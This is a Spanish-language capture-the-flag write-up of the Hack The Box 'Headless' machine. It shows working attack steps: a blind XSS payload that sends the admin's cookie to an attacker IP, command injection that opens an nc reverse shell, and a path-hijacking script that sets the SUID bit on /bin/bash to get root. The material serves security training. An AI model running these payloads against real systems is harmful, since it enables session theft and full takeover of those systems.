Table of contents
Headless es una máquina Linux que cuenta con un servidor web basado en Python que incluye un formulario vulnerable a Blind Cross-Site Scripting (XSS) mediante la cabecera User-Agent. Esta vulnerabilidad permite exfiltrar las cookies de sesión del administrador, otorgando acceso a un panel de administración. Dentro del panel, se identifica una vulnerabilidad de inyección de comandos que facilita obtener una reverse shell. Finalmente, se encuentra un script que utiliza rutas relativas, lo que permite escalar privilegios y obtener acceso como root.
Reconocimiento
El escaneo de Nmap reveló dos puertos abiertos en el objetivo:
Puerto 22 (SSH): OpenSSH 9.2p1 Debian.
Puerto 5000: Aplicación web en python utilizando Werkzeug 2.2.2 como servidor WSGI en modo de desarrollo.
┌──(root㉿kali)-[/home/noc/htb/headless/nmap]
└─# nmap -p- --open -sSCV --min-rate 5000 -n -Pn -v 10.10.11.8 -oN scan
(...)
Nmap scan report for 10.10.11.8
Host is up (0.096s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_ 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Thu, 09 Jan 2025 08:19:51 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>Under Construction</title>
| <style>
| body {
| font-family: 'Arial', sans-serif;
| background-color: #f7f7f7;
| margin: 0;
| padding: 0;
| display: flex;
| justify-content: center;
| align-items: center;
| height: 100vh;
| .container {
| text-align: center;
| background-color: #fff;
| border-radius: 10px;
| box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=1/9%Time=677F86A4%P=x86_64-pc-linux-gnu%r(
SF:GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\x
SF:20Python/3\.11\.2\r\nDate:\x20Thu,\x2009\x20Jan\x202025\x2008:19:51\x20
SF:GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\
SF:x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Zf
SF:s;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\x
SF:20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x
SF:20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-widt
SF:h,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Constructi
SF:on</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20bo
SF:dy\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x
SF:20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20dis
SF:play:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justify
SF:-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20a
SF:lign-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x200
SF:,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTYPE
SF:\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x2
SF:0\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20respo
SF:nse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20versi
SF:on\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x
SF:20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x2
SF:0unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto 5000
Hay una página de bienvenida con un contador de 24 días hasta el lanzamiento de la página.
For questions redirige a /support
, que contiene un formulario HTML para contactar al soporte…
Primero, verificamos si la aplicación es vulnerable a XSS:
<script>alert('XSS')</script>
Pero al intentarlo, el payload activa un mensaje de bloqueo indicando que se enviará un informe al administrador para su revisión. Esto sugiere la posibilidad de un Blind XSS, ya que si el administrador visualiza el mensaje, el payload se podría ejecutar en su navegador, exponiendo su cookie.
Shell como dvir
Tras varias pruebas y errores, interceptando la petición con burpsuite y poniendo el payload XSS en el header de User-Agent
:
El siguiente payload utiliza un objeto Image en JavaScript para enviar silenciosamente una petición HTTP GET a nuestro servidor. La solicitud incluye la cookie de la víctima, codificada en Base64, como un parámetro en la URL:
<script>var i=new Image(); i.src="http://10.10.14.18/?cookie="+btoa(document.cookie);
</script>
En un servidor HTTP con python se capturan las cookies del administrador:
┌──(root㉿kali)-[/home/noc/htb/headless/content]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.18 - - [09/Jan/2025 10:58:08] "GET /?cookie=aXNfYWRtaW49SW5WelpYSWkudUFsbVhsVHZtOHZ5aWhqTmFQRFdudkJfWmZz HTTP/1.1" 200 -
10.10.11.8 - - [09/Jan/2025 10:58:18] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA= HTTP/1.1" 200 -
┌──(root㉿kali)-[/home/noc/htb/headless/content]
└─# echo "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d
is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0
Fuzzeando directorios en los que poder usar la cookie, descubro /dashboard
:
┌──(root㉿kali)-[/home/noc/htb/headless/content] ┌──(root㉿kali)-[/home/noc/htb/headless/content]
└─# gobuster dir -u http://10.10.11.8:5000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.8:5000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/support (Status: 200) [Size: 2363]
/dashboard (Status: 500) [Size: 265]
Cambiando el valor de la cookie por el obtenido:
Al recargar la página, se puede acceder a un panel administrativo:
Al interceptar la solicitud, se identifica un parámetro vulnerable date
, en el que se puede inyectar comandos:
Con which nc
, se puede comprobar que nc
está disponible, por lo que se puede enviar una reverse shell simple: nc -e /bin/bash 10.10.14.18 4444
(hay que urlencodearla, con Ctrl+u en BurpSuite …):
Tratamiento de la TTY:
script /dev/null -c bash
Script started, output log file is '/dev/null'.
dvir@headless:~/app$ ^Z
zsh: suspended nc -nlvp 4444
┌──(root㉿kali)-[/home/noc/htb/headless/content]
└─# stty raw -echo; fg
[1] + continued nc -nlvp 4444
reset xterm
dvir@headless:~/app$ export TERM=xterm
dvir@headless:~/app$ export SHELL=bash
dvir@headless:~/app$ stty rows 53 columns 227
Hay dos usuarios: dvir
y root
.
dvir@headless:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
dvir:x:1000:1000:dvir,,,:/home/dvir:/bin/bash
Escalada de privilegios
/usr/bin/syscheck
puede ejecutarse puede ejecutarse como root sin contraseña:
dvir@headless:~$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
En /var/mail/dvir
, hay una pista sobre el uso del script:
dvir@headless:/var/mail$ ls -la
total 12
drwxrwsr-x 2 root mail 4096 Sep 10 2023 .
drwxr-xr-x 11 root root 4096 Sep 9 2023 ..
-rw-r--r-- 1 root mail 772 Sep 10 2023 dvir
dvir@headless:/var/mail$ file dvir
dvir: ASCII text
dvir@headless:/var/mail$ cat dvir
Subject: Important Update: New System Check Script
Hello!
We have an important update regarding our server. In response to recent compatibility and crashing issues, we've introduced a new system check script.
What's special for you?
- You've been granted special privileges to use this script.
- It will help identify and resolve system issues more efficiently.
- It ensures that necessary updates are applied when needed.
Rest assured, this script is at your disposal and won't affect your regular use of the system.
If you have any questions or notice anything unusual, please don't hesitate to reach out to us. We're here to assist you with any concerns.
By the way, we're still waiting on you to create the database initialization script!
Best regards,
Headless
El script es vulnerable debido a la forma en que se intenta ejecutar ./
initdb.sh
sin especificar una ruta absoluta. Esto permite explotar una técnica conocida como "path hijacking" o abuso de rutas relativas. Al usar una ruta relativa (./
) para ejecutar initdb.sh
, busca el archivo en el directorio actual de trabajo.
El script intenta iniciar un servicio de base de datos ejecutando ./initdb.sh, asumiendo que este archivo se encuentra en el directorio actual de trabajo. Sin embargo, si un atacante puede controlar el directorio desde el cual se ejecuta el script, puede colocar un archivo malicioso también llamado initdb.sh en ese directorio. Esto permite explotar una técnica conocida como path hijacking, donde un atacante aprovecha rutas relativas para ejecutar comandos.
dvir@headless:~$ cat /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
Con chmod +s /bin/bash
se establece el bit SUID en el binario de Bash. Esto permite que cualquier usuario que ejecute Bash lo haga con los privilegios del propietario del archivo (en este caso, root). Con ello, un atacante puede iniciar una shell con privilegios de root ejecutando /bin/bash -p
.
echo -e '#!/bin/bash\nchmod +s /bin/bash' > initdb.sh; chmod +x initdb.sh